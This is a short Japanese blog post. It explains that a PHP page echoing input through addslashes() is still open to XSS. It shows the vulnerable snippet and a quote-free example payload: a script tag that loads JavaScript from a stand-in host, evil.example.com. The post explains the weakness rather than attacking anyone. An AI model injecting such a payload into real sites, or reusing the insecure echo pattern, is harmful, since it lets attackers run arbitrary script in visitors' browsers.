— boreal-kiss.com

[PHP]ActionScriptの達人もXSS攻撃には疎い

某有名FLASHerさんが珍しくPHPで作品を公開していたので、「へえ、この人PHPも使うんだ」と思いながら、間違えて変なの入力したら(嘘だけど)、以下のようにして入力を扱っている様子。


<?php
echo addslashes($_GET['txt']);
?>

これって一見良さそうだけど以下のようなシングルクオートもダブルクオートも使わないスクリプトは読み込める。クオートなくても動くってのがまず驚きだけどクオートを書かないって発想がさらに驚愕 (参考:XSS (Cross Site Scripting) Cheat Sheet)。


<script src=http://evil.example.com/xxx.js /></script>

読み込んだxxx.jsファイルの中身はaddslashes()の制限を受けないので何でもアリの無法地帯。うまいこと第三者をおびきよせてxxx.jsの中身を読ませることができる。まあただの揚げ足取りなんだけど(でもセキュリティ屋がやってることはこういうことでしょ?)要するに言いたかったことは、このFLASHerさんはActionScriptは(少なくとも僕から見て)達人級であってプログラムを書くこと自体には熟練しているということ。ほんとにプログラミングゼロからの人間にセキュリティを気にしろって言うのは無理があると思っただけ。

0 comments
Submit comment